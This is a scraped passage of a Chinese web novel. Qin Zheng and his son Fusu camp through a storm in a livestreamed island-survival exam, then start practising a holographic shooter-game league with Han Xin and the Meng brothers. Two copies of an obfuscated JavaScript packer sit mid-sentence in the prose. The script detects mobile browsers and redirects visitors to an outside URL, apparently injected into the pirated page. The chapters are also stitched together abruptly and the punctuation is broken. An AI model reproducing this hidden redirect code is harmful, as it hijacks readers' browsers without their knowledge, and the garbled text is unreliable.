没有锅还是太不方便了,要烤蛤蜊连个架子都找不到。最后只能用枝条搭出一个烤网来,把蛤蜊放上去。 至于为什么火苗燎到枝条后,它不会被点燃。问就是不知道,可能温度不够高吧。 蛤蜊被烤得张开了口。 扶苏伸手去拿。 拿下来后才想起来,这么烫的东西他徒手拿好像不太合适。 等了等没等到考场质疑他违规。 扶苏疑惑不已: “考场怎么不说我了?” 秦政扫了一眼儿子指尖那寻常人看不见的功德之力,确定扶苏没被烫伤,就放心地收回了视线。 而后回应道: “许是清楚神兽之躯十分强悍,并不怕烫。” 其实神兽之躯是否怕烫,父子俩是没有尝试过的。扶苏才不会傻到把护体的灵力或者功德之力撤掉,然后试一试触碰滚烫的东西。 烫伤多疼啊,他才不干这种事。 不过这也不妨碍父子俩用这个说辞糊弄考场,这个考场的检测机制着实有些废物,什么都测不出来。 大概也是和星盟的实力水准只 到元婴期有关。 扶苏尝了一口蛤蜊肉。 可能因为是新鲜现捞的野生海鲜而且生长在纯净无污染的海水中味道倒是不错。 自带一点咸味剩下的就是鲜甜。不额外调味也很好吃只是扶苏口味比较重还是更喜欢吃蒜蓉和香辣的。 即便如此吃播还是馋到了不少人。 「陛下怎么一口一个呜呜给我留一个啊!」 「真的这么好吃吗?陛下沉迷吃饭都不说话了。」 「陛下本来也不怎么说话只要不是太子和他搭话他就不说难得开口也是说几个字就不说了。」 「太子在干什么?」 「有点像是在拍照他在用什么东西拍照?可恶看不见!」 扶苏在用地府光屏拍照。 拍完发到家族群里: 「阿父给我烤的蛤蜊很好吃。」 家族群一片静默。 大家已经学会了忽略某人秀宠爱的操作假装没看见是最好的选择。 扶苏不太高兴: “他们给阿父的朋友圈点赞点得很积极为什么我发消息就没人理我?” 秦政塞给他一个蛏子: “那你也不理他们。” 扶苏哼了一声: “我本来就不理他们。” 弹幕: 「……那你还好意思吐槽他们不理你?」 「太子:只许太子放火 「什么朋友圈我也想看。」 「地府居然还有朋友圈这么时髦的吗?想拥有一个陛下的好友位。」 「话说考场怎么没跳出来警告?」 「可能因为考场也检测不出来他们地府的随身屏幕不好意思跳出来丢人现眼吧。」 正在窥屏的星盟人你看看我我看看你半晌无言。 “我们的直播间连鬼魂都能捕捉为什么他们的随身终端捕捉不到?” “我们连地府的存在都没发现捕捉不到地府的其他物品不是很正常的事情吗?” “要不还是把蓝星的危险等级再提高一级吧!” “已经是最高级了。” “最高级不够星际海盗都是最高级你觉得星盗能 和他们比吗?” “你说的对。” 扶苏吃完蛏子,又想换个群继续炫耀。但是阿父又给他塞了一个烤熟的大螃蟹,堵住了他的嘴。 扶苏不明所以。 以前阿父不会拦着他炫耀的。 不知想到了什么,扶苏立刻加快了进食的速度。这下真成吃播了,父子俩沉迷进餐,没有人再说话。 网友们完全没察觉到不对劲。 直到两人吃完东西,起身开始朝不远处丛林中的芭蕉树走去。分明已经是大晚上了,竟还不辞辛苦地开始摘叶子搭棚。 两人白天的时候找山洞就不是很积极,完全不在乎没地方过夜。到了海边就彻底摆烂了,反正沙滩上支个帐篷就能休息,不行就打坐一晚上。 这会儿却突然开始搭棚子,明显是因为有意外情况即将发生。 扶苏刚开始没察觉,还是在父亲的暗示下后头探查四周,才意识到风中的水汽开始攀升,风也渐渐大了起来。 两人通力合作,轻而易举地就着四颗挨得很近的树木搭出了一个雨棚。 先用强韧的藤蔓编织出大网,再把芭蕉叶铺上去绑好。因为两人动作麻利效率很高,还额外多铺了两层,确保不会漏雨。 四棵树之间用藤蔓系出一个正方形,把之前做好的芭蕉棚固定上去。 正方形的四条边还能多铺几层垂下来的叶子作为“墙壁”,用藤蔓穿插捆缚起来进行固定。 为了加强支撑性,扶苏还去弄了点树枝进来当柱子和墙壁的钢筋。 说是树枝,其实拖过来的木材里有些单纯就是把树给折了。弹幕不知道说什么,只能发一串666,感慨太子殿下拥有使不完的牛劲。 扶苏还抱怨呢: “要是可以用储物戒就好了。” 有现成的屋子可以拿出来住,就不用他们自己搭了。 秦政仗着身高手长把高处的棚顶固定好,检查了一遍没有疏漏,便把剩余的叶子铺到地上充作地板。 这一片的杂草都被清理掉了,地面也稍稍归整了一下,还算平整。铺上几层叶子之后,看起来像模像样的,可以凑合住。 只要不涨水,问题应该都不大。 他们挑的这里地势比周围稍微高一些,就算其 他地方的雨水流淌过来,也会分流到两边去,不会从临时庇护所的地面经过。 即便如此,秦政还是出去寻了两块大石头,运回来摆在里头,没有直接坐地上。 又找了一块比较大且平整的矮石头放在庇护所里,不知道是干什么用的。 弹幕很快就转而感慨陛下也有一身牛劲用不完了。 「神兽之躯我就不肖想了,修炼到高阶后肉身强度能达到这个的一半吗?我也想体验一把力大如牛的感觉。」 「据说可以,就算不行,用灵力法术辅助也肯定可以,而且还有一些大力丸之类的丹药。」 「看样子是不是要下雨了?」 「肯定呀,不然为什么临时搭一个庇护所。我猜雨势还不小,难怪之前考场直接就判定那个受重伤的考生淘汰,没给他挣扎的机会。」 重伤本来就情况糟糕,结果接下来就要下暴雨。怎么想都觉得没有存活下来的可能性,所以干脆直接淘汰掉。 「就算不下雨也悬,当时是用树枝戳的,不知道伤了内脏没有。那根树枝又没消过毒,光是发炎感染就能要了他的命。」 「所以还是我们太子殿下人美心善!」 「太子:我都说了是为了拉拢对方所在的文明。」 「不听不听,太子就是善良。」 「史上著名仁君了解一下?」 庇护所里黑漆漆的,一点光亮都没有。网友们什么都看不清楚,只能聊天自嗨。 这时,之前那块不知道用来干什么的矮石头发挥了作用。 扶苏又表演了一次钻木取火。 原来矮石头是用来生火的,地面扑了叶子,直接在上头点火会把庇护所给烧了。 扶苏仗着大家看不见,飞快地给石头掏了个窝出来,这样火堆丢在里头,不容易往外坍塌。 网友们仔细观察那个石头: 「是我的错觉吗?怎么感觉那个石头的形状变了?」 「有吗?之前没仔细看。」 「什么时候下雨?是不是要多囤点木柴在庇护所里?」 父子俩也想到了这一点。 扶苏站在门口说: “感觉囤再多也烧不了多久。 没有干透的木柴烧起来烟还特别大,之前 在户外没感觉,半密闭的庇护所里非常明显。 所以扶苏后来都悄悄将树枝里的水分给抽出来了。 既然他能把水分抽出来—— 扶苏暗示父亲,现在收不收集柴火都一样。就算回头折那些打湿的树枝回来,也不影响他们用来点火。 秦政却问他: “困了吗? 扶苏摇头,他现在还很精神。 秦政于是往前走: “那就去找点事情做。 既然闲着也是闲着,不如收集一些木柴回来。 扶苏慢吞吞跟过去,明知故问: “阿父今日怎么这么积极? 秦政并不回答。 父亲不配合,扶苏只好自问自答: “因为我说想体验荒岛求生,阿父就耐心陪我了。 不然方才发现要下暴雨的时候,父亲就不会是带着他自己建造一个临时庇护所,而是直接赶往之前的村落。 山洞找起来不方便,村落却是大喇喇杵在那里的。以他们父子的实力,想要叫NPC让出一套房子给两人,根本没有难度。 这不比自己搭个庇护所便捷? 只是那样就失去了荒岛求生的趣味性。 「虽然早就知道太子逮到机会就要炫耀宠爱。」 「但是陛下不回答你就自问自答,也实在是太骚了。」 「我真的很想知道史书是谁写的」 「怎么?」 「为什么他们记载的人物形象,和我见到的完全不一样!」 「可能,太子是去了地府才养成现在这种性子的吧。」 「地府真是个神奇的地方」 「那可不,地府还有朋友圈呢。」 父子俩也没捡多少柴火回去,因为风中的湿气越来越大,风力也越来越强。再继续在外面停留,恐怕会在半路迎来降雨。 两人迅速折返。 小小的庇护所里本身也放不下太多柴火,尤其树枝上还有很多枝叶,很占地方。 扶苏干脆坐在火堆边上,把那些树枝上的分叉掰下来丢到火堆里头去,这样就能腾出一点空间了。 无事可做的秦政也伸手帮忙,这样简单的重复劳动很适合 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13080689|110713||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 用来打发时间,气氛一时间显得 静谧又温馨。 外面开始下雨了噼里啪啦的暴雨砸在棚顶上发出雨打芭蕉的声音。 扶苏凝神听了一会儿: “我听着这个声音是写不出诗来的。” 可能他没有文学细胞。 秦政并不认同: “太子写给朕的诗歌分明就很不错。” 扶苏笑了笑: “也就占了一个情感真挚。” 他写的是先秦朴素风格的诗歌诗经那种题材的。文采上比不得后来那些骈赋 本来也是写给阿父一个人的。 弹幕一个病中垂死惊坐起: 「什么诗歌?!给我也瞅瞅!」 然而父子俩没有一个打算吟唱的。 兵戈霜催长夜独辉。 别君路远辗转难寐。 渭水杳杳草木凋未? 鸿雁西徙寄我凯归。 这样的诗怎么好意思在直播间里唱?家信里写给阿父看就可以了。 扶苏忽然想起来了: “我当时问阿父咸阳近况阿父没有回我还写信骂我来着。” 当时他忽悠阿父答应放他去赵国然后拿到许可之后第二天就跑了。那时大秦正在灭赵前线危险所以阿父很生气。 毕竟阿父以为他是等打完仗才去。 扶苏一天一封地写家信哄爹但是父亲根本不回。看到他写诗说想阿父才回信让他正事干完了就赶紧回家少在外面闯祸。 他才没有在外面闯祸他过去之后可是帮大秦招揽了李牧将军的根本就没有干坏事。 秦政微微挑眉: “朕怎么记得是朕先写信给你的?然后你才开始一天一封地回?” 扶苏眨了眨眼开始认真回忆。 五分钟后。 扶苏心虚地唔了一声: “好像是阿父先给我写信的。” 秦政“呵”了一声。 然而扶苏的心虚维持不了一秒钟因为他回忆起来那封信写了什么了。 他很快理直气壮: “阿父第一封信也是写来骂我的!” 他好不容易等到阿父给他写信证明关系破冰了结果信中内容却是斥责 他擅作主张直接跑路。 好在扶苏脸皮厚,顶着挨骂也要天天回信哄爹,成功把父亲哄了回来。 秦政反问: “朕不该骂你?” 扶苏一秒怂了下去: “这都是几百年前的事情了,阿父你不要翻旧账。” 秦政:。 到底是谁先翻旧账的? 「笑死我了,太子殿下是懂倒打一耙的。」 扶苏岔开话题: “阿父,我有点困了。” 秦政不是很信,但他给儿子留了点面子。 起身去将原本敞开的“门帘”合上,挡住外头的风雨。坐回石头上后,才伸手将儿子摁到自己腿上。 “困了就睡吧。” 扶苏躺在父亲腿上反省自己: “其实也不用体验什么荒野求生的,在这里阿父都没办法休息,明日我们就去把NPC的屋子抢了吧。” 秦政伸手盖住他的眼睛: “不必,朕可以打坐代替睡觉。” 只有扶苏这样娇气的性子才对睡眠地点有要求,他无所谓。庇护所这边水汽充沛,其实对水灵根修士来说更舒适一些。 扶苏还想说自己可以后半夜爬起来守夜,到时候就让阿父睡在他腿上。 结果张嘴却是打了个哈欠,也不记得自己的这番话到底说出来了没有,便沉沉睡了过去。 雨声虽然吵闹,却是白噪音,有助于睡眠。 扶苏跟着搭雨棚忙活了许久,早就有些困了。只是精神还很亢奋,所以之前才说不困。 现在一躺下,很快就没了动静。 弹幕也安静了许多。 大家静悄悄地截了几张图,狭小的庇护所在雨夜中看起来竟也不显得逼仄了。温暖的火堆照亮了这处小窝,竟然还有点温馨。 网友们还想多看两眼。 结果画面一个切换,已经到了第二天早上。 「…………」 「我恨这个五倍速机制!」 睡饱的太子殿下清晨起床后很有些活蹦乱跳,闲不下来地在庇护所里这里逛逛那里戳戳。 秦政正给儿子烤地瓜。 见他闹腾,叮嘱了一句: “不要乱戳,等下戳出洞了会有雨 漏进来。 扶苏这才收回了手: “我检查一下它的质量。 扶苏回到石头上坐好。 两块大石头被他挪到了并排,所以他可以挨着父亲坐。说自己刚睡醒不是很有力气,坐下来之后就想找个父亲靠一靠。 都是借口。 秦政不管他,只专心给红薯翻面。 扶苏好奇地问道: “阿父哪里来的红薯? 秦政指了指角落: “昨天搬石头的时候一并挖的,你光顾着折腾叶墙了,没注意。 这两块大石头有大半埋在土里,所以得先挖出来才能挪动。没想到挖的时候还能顺便挖出几个红薯,今天的早餐有了。 扶苏把烤好的红薯取下来,先剥出一个来递给父亲。 “一直是阿父照顾我,现在轮到我照顾阿父了。 秦政拿着自己烤的红薯: “好,朕的太子真是孝顺。 扶苏假装没听出来父亲在阴阳怪气。 早餐吃完,外面还在下暴雨。 扶苏掀开门帘,向外张望了一下。他们这个位置很不错,可以透过树木缝隙隐约看到大海。 不过距离海岸太近也有个弊端,就是刮大风的时候首先遭殃。 其实这次暴雨是台风带来的,原本应该能造成挺大的影响。别的不说,一些比较细的树木可能会被连根拔起。 但父子俩敢在海边扎营,就是有自信不怕台风。这一片的植被都被无形的力量笼罩住了,大风只能将它们刮得晃动,无法真正动摇根基。 扶苏伸手去接雨水。 接完立刻甩掉,回头确认了一下。很好,阿父没看见他的小动作。 他以前身体不好,敢伸手去接雨水一定会被教训。导致现在就算身体已经好了,也不太敢公然做这些事情。 秦政的声音淡淡传来: “你要是敢出去淋雨—— 扶苏立刻回到父亲身边坐好: “我没有这个想法。 不能用能量隔绝雨水,不然出去之后依然浑身干爽,考场那边肯定怎么都糊弄不过去。 但秦政是绝对不会允许儿子为了出去玩,放任自己被大雨浇透的。 第 211 章 战术无敌 如果是键盘网游打电竞,扶苏肯定就直接拒绝了。他没有为难自己的爱好,除非是阿父要求的。 不过全息就不一样了,对他们来说难度确实没那么高。 录入信息之后,五个人聚在一起了解了一下这款游戏的联赛规定。 韩信简单解释了一下: “小组赛就是先打出个分组来,分成B组、A组和S组。然后第二轮是常规赛,组内循环,获得晋级名额。” “比如我们现在是在B组,先和B组的人打,一共16支队伍。打完一轮之后积分排名前4的队伍可以进入A组,和A组的12支队伍一起参加A组的循环赛。” “A组前4进入S组,和S组的12支队伍打组内循环赛,这16支队伍就是16强了。决出8强可以参加季后赛,争夺冠军席位。” 扶苏听完点点头: “和我听过的电竞赛事规则不太一样。” 蒙毅收集过很多位面的信息,同样了解一些各式各样的消息。 他想了想,补充道: “许是因为战队过多的原因,16、12、12,加起来40支战队了,原本的赛制不合适。” 韩信吐槽: “这段时间一天要打好多场。” 40支队伍分出三个组别,每个队伍互相之间都交过手。所以韩信10天内足足打了39场,平均一天4场。 然后把把都输,惨得不行。 扶苏都要怜爱他了: “我们阿信真是受苦了。” 韩信本身就不是以单兵战斗力见长的那种武将,他拳脚功夫只能说及格。偏偏匹配进来的考生都是能打的,人家还有不拉跨的队友。 指望小将军一拖四,纯属是在为难他阿信。 更不幸的是,B组队伍想要打到S组去,成功参加季后赛,还得再把39支队伍全部打一遍。 蒙毅提醒: “不止39场。” 比如说一起从B组升到A组的三支队伍,互相之间在A组打循环赛还是会碰到的。所以准确来说,是要打39+3+3,一共45场。 好在因为季后赛只有8支队伍,打起来不会花太多时间。 考场需要在一个月内决出胜负,所以难免赶了一些 。 目前的赛制安排是10天打分组赛休息3天这3天里各战队可以随意进行转会操作。 接着打12天的常规赛常规赛结束后依然是3天时间休息和调整阵容。最后2天打季后赛决出冠军。 毕竟不是正规电竞赛事很多方面都比较儿戏。考场只追求节目效果而一天四场的对决正好可以满足观众的观看需求。 韩信回忆了一下时间安排: “一般是上午一场下午两场傍晚一场。如果对战时间拖得太长会顺延运气不好能打到后半夜。” 然后第二天还得早上爬起来打上午的对决。 想想都噩梦。 关键是有的时候不是你打得快就可以的你的对手可能会因为战事不顺拖延你就得等他。 好在在座五人都是习惯高强度工作的而且这个程度的忙碌对他们来说倒也不算什么。 韩信满肚子牢骚: “其实臣每局都结束得很快。” 毕竟队友迅速送死就剩他一个被对面五人围攻根本支撑不了多久。 作为一个擅长带兵到能出个“韩信点兵多多益善”这一成语的大将军按理来说再怎么拉跨的兵他也不至于完全带不动。 可惜NPC不是真人且过于固执。 “反正最后的结果都是我们队经常因为其他队伍的问题等半天。” 韩信是修士还好有些考生明显有点熬不住了。赛季之间休息的这三天别说去转会拿来睡觉的时间都不够。 蒙恬已经在看游戏内容了: “枪战游戏?” 五人小队存在着明确的分工近战三人分别是侦察、坦克、输出远程一人是狙击还有一个则是医疗。 类似于刺客、肉盾、狂战士、弓箭手和治疗。 蒙恬看向韩信: “谁拿医疗?” 韩信望天: “反正我干不了这个。” 全场气质最像医疗的那个太子眨了眨眼 蒙毅叹了口气: “医疗交给臣吧。” 蒙毅已经领了医疗的位置太子又领了侦察。 指望韩信去当坦克是不可能的又不能让陛下来给 他们这一群人当肉盾所以蒙恬只好自己领了坦克。 还剩下狙击和输出一个远程一个近战。秦政看了一眼韩信的小身板果断选了输出。 韩信傻乎乎地说: “我当狙击也好狙击经常要趴在山坡上放冷枪不怎么顾及形象的。” 总不能让陛下趴在那些地方对吧? 蒙恬蒙毅:…… 这话你在心里想想就行了说出来干什么! 弹幕已经笑yue了。 本来韩信的直播间里是没什么华夏观众的虽然枪战游戏关注的人多但大家基本都去关注其他99个战绩更好的考生了。 因为本位面没有韩信这个将才腹黑扶苏到底不是秦梓桑并没有吸纳那么多原本属于汉初的人才。 见韩信被NPC队友坑除了因为都是华夏人给了他一点怜爱之外别的想法就没有了。 直到韩信召出了陛下和太子。 大家恍然发现他们竟是认识的而且韩信和太子关系还很好。 具体表现在别人都叫不来太子(秦臣:我们那是不乐意叫)他一叫就来(太子:好不容易有个救孤于水火的当然要抓住)。 虽然网友们依然不知道韩信是谁但这不妨碍他们认定韩信不简单。如果不是厉害的人才怎么会这么受看中? 他说他想要当冠军太子就答应帮他了!关键是陛下也没拒绝这人来头不小啊! 可惜扒拉了一遍史书 问题不大。 毕竟史书并不会把每个臣子都记录下来尤其秦初那么多名臣不被关注的可太多了。比如琅琊刻石上记载的建成侯赵亥、武信侯冯毋择、昌武侯成。 网友们讨论之后认为: 「韩信肯定是个厉害的文臣!」 毕竟他在战斗中表现平平。 这个乌龙暂时是解释不清楚了五人小队还在商议战队的事情。 韩信有过经验就提醒道: “虽然是全息战斗但它毕竟还是一款游戏。所以没有办法完全做到像现实中那样随心所欲比如使用武器时就必定会有前摇和后摇。” 现实中大家射击之后哪怕也会因为后坐力而手臂发麻一时不能继续射击。却不至于浑 身僵直,无法行动。 游戏里是会这样的,使用完技能后至少会有零点几秒的僵直。不仅是使用技能,还有切换武器。 这个时候,如果敌人抓住机会攻击玩家,玩家是无法躲闪的。身体不受控制,只能等僵直过去再躲。 优秀的职业选手会卡准这个转瞬即逝的点,趁机干掉敌人。哪怕只有0.1秒,他们都能抓住。 在座五人虽非职业选手,反应速度却远超寻常人。别说零点几秒,就是零点零几秒的机会他们也能抓住。 因而他们需要在意的就是自己别阴沟里翻船了,被别人抓住机会干掉。 “考场的持续时间太短,所以游戏里的枪械比较少,每个位置就一两种,枪械多了考生熟悉不过来。 “这些枪打出来的伤害是固定的,比如狙击枪击中头部或者心脏会扣光血条,击中躯干内脏会扣七成的血,击中腿部是五成,击中手臂是三成。 其他枪械根据杀伤力依次递减。 “腿部受伤会影响移动速度,速度降低一半。手部受伤会影响僵直时长,从0.1秒变为0.5秒,应该是想借此达成降低攻击频率的结果。 “最后还有一点,武器负重。不同重量的枪械对脚步声大小和移动速度都有影响,赶路的时候一般都需要切换武器,换成轻便的那种。 韩信把他这十天总结的一些经验全都说出来了。 最后表示: “其实打一把就知道了。 他们只有三天不到的练兵时间,然后就要去打常规赛。 不过比起之前小组赛根本没给考生熟悉游戏的时间,已经好上很多了。顶多是十天过去,考生们已经比较熟练,而他们还在起跑线上。 队里还有几个真正的青训生,可以组成二队和他们打一打练习赛。 五人躺进全息舱。 扶苏眼前出现两个装备栏,可以在十个基础道具里选择两样。侦察的标配是匕首和沙鹰手枪,没有别的可选。 当然,如果他非要拿着别的武器玩侦察也不是不行,就是实战的时候会不太方便。 侦察要做的是探查敌人的点位和绕后暗杀狙击。 因为狙击离得远,如果侦察不去的话,就只能靠自己队伍的远程狙击手 进行攻击了,坦克和输出很难摸到狙击手身边不被发现。 隔壁的秦政则换上了威力巨大的步枪和手榴弹,以杀伤敌人为主。 坦克蒙恬拿的是射速快的冲锋枪,威力虽然小一些,但他主要是掩护近战队友的,给队友创造合适的输出环境。第二武器位给的是烟雾弹。 狙击手的两把枪是重狙和轻狙,医疗则是防弹盾牌和急救箱。 第一次玩这游戏,大家都没经验。 扶苏完全不清楚敌对目标的枪械射程范围有多远,一不小心就走入了对面步枪的射击距离内。 突然几发子弹射过来,惊得他下意识想用功德阻拦。然而失败了,因为虚拟数据拦不住。 扶苏躺在原地,看着变成了黑白配色的天空陷入了沉思。 原来自己这么菜的? 他菜也就算了,蒙毅发现太子阵亡了,惊得立刻过来救人。 虽然他很明智地想到了应该把防弹盾竖起来阻挡敌人的攻击,可他明显低估了盾牌的耐久度。 所以很快,盾牌被击碎的蒙毅也躺了。 扶苏在队伍里打字: 「蒙卿你也死了,我就放心了。」 这样弹幕就不会只嘲笑他一个人。 蒙毅只发来六个点:「……」 开局送了两个人头,这还怎么打? 所幸韩信拥有充足的被队友坑经验,习以为常地架枪开镜射击,迅速干掉了对面的前排输出。 秦政抓住机会反压过去,很快就将对面坦克击毙了。 蒙恬深觉自己这个肉盾坦克失策,因为该他去保护队友的时候,他一点贡献都没做出来。 比方说太子躺尸那次。 本来是应该他先重火力压制吸引敌方前排的注意力,这样太子才好放心大胆地绕去敌后。可他跑得太慢没跟上太子殿下,所以没能给予殿下及时的掩护。 蒙恬在队伍频道语音反省: “臣下次会记得跑快一点的。” 阵亡后只能打字不能语音的扶苏: 「。」 我怀疑你在内涵我跑太快脱离队伍,被敌人扫死活该。 弹幕再一次充满了哈哈哈哈: 「救命我今天就要笑死在这里!」 「 蒙将军你是懂阴阳怪气的」 「这叫说话的艺术」 「什么阴阳怪气,蒙将军分明是在为太子找补」 「他真的,我哭死,明明是太子的问题他还自我检讨」 「我们大恬恬一直是这样的」 前排的队友还有心思聊天,后排的韩信已经被对面侦察摸过来了。他顾不上说话,飞快切枪转移,免得被侦察暗杀。 跑到安全地方才有空喊一声: “来个人把侦察干掉,离太近我没法开枪。” 游戏提供的两把狙击枪都只能远程射击,无法充当近战枪械。 蒙恬在前去支援和留下保护陛下之间游移不定。 秦政揉了揉眉心: “游戏而已,不必一直跟着朕。” 蒙恬这才点了点头,过去支援。虽然他的冲锋枪攻击力比较低,但是多打几枪还是能把人干掉的。 秦政没有过去。 他可没忘记,对面还有个医疗活着。如果不把医疗干掉,对方就可以跑来复活濒死的队友。 队友死亡有一分钟的倒计时,在这个期间可以使用急救箱复活,超过时限就死透了。 所以有时候可以选择守尸蹲医疗,或者只是单纯地确保对方不会被救活。 游戏里无法用神识探知敌人的位置,神识在虚拟世界比较受限,战斗只能靠自己。 这倒是种新奇的体验。 秦政仔细观察周围,扶苏也试图帮阿父找到藏起来的医疗。可惜他这个角度只能看见天空,爱莫能助。 好在秦政观察细致入微,很快就发现了端倪。飞快走进几步,轻易将躲避不及的医疗送走了。 另一边,蒙恬也搞定了侦察。 第一局结束,游戏胜利。 扶苏复活回到出生点: “我们打得这么稀烂还能赢?” 韩信麻木地说: “因为对面的技术也很烂。” 他们战队的NPC都是菜鸡,包括青训生。不然他为什么不干脆把现成的青训生提拔成队友,而是舍近求远摇人? 还不是因为全都扶不起来。 扶苏特意点开每个道具:< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13080690|110713||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“我先记忆一下它们的射程和攻击力这些数据。” 蒙恬则根据职业敏锐度提出: “弹道轨迹也要了解,射出的子弹并不是直直飞向目标的。” 第二局他们没开对战,而是反复试验几种武器的效果。好歹是上过大学学过高数的人,研究这些也没那么难。 扶苏脑子转得快: “我懂了,我们再开一局?” 韩信:……你怎么就懂了? 说实话,韩信没懂。 他纯粹是靠着大量经验狙击的,形成了身体记忆,知道打多远的敌人需要怎么开枪。 不过看太子的样子,似乎是通过计算得出的结论。 该不会太子之后每次遇到枪战,都能靠着现场计算规避弹道路线吧?那也太可怕了,运算能力这么强的吗? 扶苏微笑摇头: “不至于,它们的弹道不就那几种吗?不用次次都算,我已经记住了。” 韩信:这样也很可怕好不好! 韩信去看其他人。 秦政颔首表示自己也记住了弹道,虽然不是靠运算的。蒙恬蒙毅同上,他们三个和韩信差不多,靠的是强大的观察记忆。 所以只有太子一个搞算数。 韩信松了口气,还好,至少不会显得他一人傻乎乎。 大家又开了一局。 这次扶苏不仅记住了弹道,还记住了视野范围。 游戏里的视野大小是固定的。 现实中眼神好的人能看得更远,但游戏里不管这个。无论是谁,视野都差不多。 除了狙击手可以通过枪械上的倍镜提升视野,其他人看超过视野范围内的区域都是一片模糊,仿佛高度近视。 不过细心的人依然可以通过模糊色块分辨前方的动静是正常的环境变化,还是有人路过。 扶苏卡着敌方的视野绕开他们,迅速摸到了后方。他手里拎着两把匕首,脚步几乎无声地接近了高地上的人。 匕首、投掷类武器和急救箱是负重最轻的装备,尤其是匕首,切换它为主武器时几乎没有脚步声。 敌方狙击手根本没发现有人靠近。 扶苏轻而易举地干掉了他。 另一边,韩信又一次遭到了敌方侦察的追踪。幸好他已经养出了警惕,提前撤离更换了新的狙击点。 扶苏根据韩信的报点扭头直奔侦察的位置,但是因为距离太远,过去之后人早就跑了。 秦政意识到不能这么打: “阿苏,你应该去找医疗。 话音刚落,系统提示敌方医疗复活了狙击手。 扶苏为了去击杀侦察,没有对狙击进行守尸。一分钟的时间太长了,其他枪战游戏一般都是20到30秒的倒计时。 蒙毅也感觉自己这边的排兵布阵有点问题。 他迟疑地说: “臣以为,臣或许也该携带一把枪械。 不然万一队友全死了,还拖过了复活时限。就剩下他一个,他没有攻击能力,不就只能等死? 蒙恬也说: “臣这款冲锋枪攻击力太低,烟雾弹使用频率也不高。或许有些时候可以不携带烟雾弹,更换为杀伤力更大的武器。 韩信则道: “我也想把其中一个狙换成近战武器,或者烟雾弹。换烟雾弹的话,方便我自保转移阵地。 弹幕: 「好家伙,你们都对自己的武器有意见是吧?」 「全队都有一颗输出的心」 「全输出也不是不能打,有些对战地图就会上全近战或者多远程加一两个近战,医疗也不是场场都有。」 「对的对的,思路可以灵活一些」 「提前设定好的职业分配可能更适合寻常玩家,实战厉害的大佬确实拥有任性的资格。」 打完这局之后,众人切换武器。 扶苏觉得自己的武器挺好,所以他就没换。其他人或多或少都换了,然后开启第三局。 这一次扶苏先杀狙击,再躲起来守尸。 如果医疗出现,就顺便把医疗干掉。医疗没出现,就守尸结束了去搜寻医疗的位置。 其他队友扶苏觉得没必要着急支援,大家都有一定的自保能力。真遇到危险求助的时候,他再赶过去不迟。 蒙毅作为医疗兵,很快领悟到了自己需要躲避敌人的视线。避免被对方侦察发现的同时,也不能距离队友太远。 无论是哪个队友,他都得保证能及时赶过去救援。 当然,由于扶苏和韩信相距甚远,蒙毅想要同时确保能营救四个人,就略显 困难了。 但蒙卿无怨无悔。 毕竟狙击手必须远远躲在合适的高地架枪而太子殿下属于他不能指责的范畴。 倒是秦政开口把越跑越远的扶苏叫了回来就算搜寻医疗也没必要跑那么远去哪家的医疗也不可能躲那儿。 扶苏一想也是: “狙击手救不活了医疗应该跟在侦察或者其他近战的周围。” 就像蒙毅一样对方医疗也在时刻准备救人所以摸排位置应该在附近进行。 搜寻侦察的位置也是一样的对方肯定在狙击手那一片。再不济也会出没在前排战场的四周伺机放冷枪。 扶苏一点点学着战术思路。 他悄悄摸到了战场附近躲在一棵树后。举起沙鹰瞄准敌方输出突然扣动扳机。 不幸只击中了肩膀。 扶苏微微皱眉: “准度好像不太够。” 眼看敌方发现这边藏了个人 扶苏转着转着忽然和对面医疗撞上了。 他立刻举枪攻击: “嘭!嘭!嘭!” 医疗只来得及举起防弹盾牌但是沙鹰威力大很快就击碎了他的盾牌。近距离射击不存在打偏的可能性扶苏飞快收下第二个人头。 战场上秦政一枚手榴弹精准地丢到坦克和输出中间。虽然敌方两人及时散开但实在太近了还是被炸成了残血。 蒙恬一波扫射送走了他们。 侦察绕后去切韩信韩信一发烟雾弹使敌人失去视野。他自己早就看好位置了在烟雾中摸索着脱离了此地成功逃生。 等烟雾散去及时赶来的蒙毅正等在附近。一枪爆头收掉了最后一个人头。 没接触过电竞的众人接下来的三天时间里除了和二队打训练赛之外就是查看之前的精彩对决视频。 从高玩的操作里能学到很多技巧包括走位和射击等。 扶苏观察过其他侦察的走位后就发现不仅距离可以影响视野明暗度也可以。如果他在阴影里行走那么敌人也有可能发现不了他。 秦政也学了一些怎么丢手榴弹不容易被敌人发现、丢 第 212 章 烟雾战 本来说想通过B1这支B组最强队伍,试验一下双指挥可不可行。 结果B1实在不太能打,随机到的地图又着实不适合打团。最后也没能成功,团战还得重新物色一个队。 好在隔天就有B2战队出现。 B2战队抽取到了地图云巅天堑。 这是个空中地图,大大小小的云朵漂浮在四周,会有规律地移动。有些云飞得快,有些云飞得慢,路线也各不相同。 玩家需要在云上作战,随时小心摔落下去。所以这个场景有一个特殊玩法,就是把人击落,从而进行淘汰。 不过比起击落人,将云朵打散其实是个更方便的选择。可惜本场地图禁手榴弹,不然一炸一大片。 没有手榴弹的话,其他枪械想要打散云朵就没那么容易了。好在云朵本身也会随着时间的推移,越变越浅。 主要是有人站立的位置。 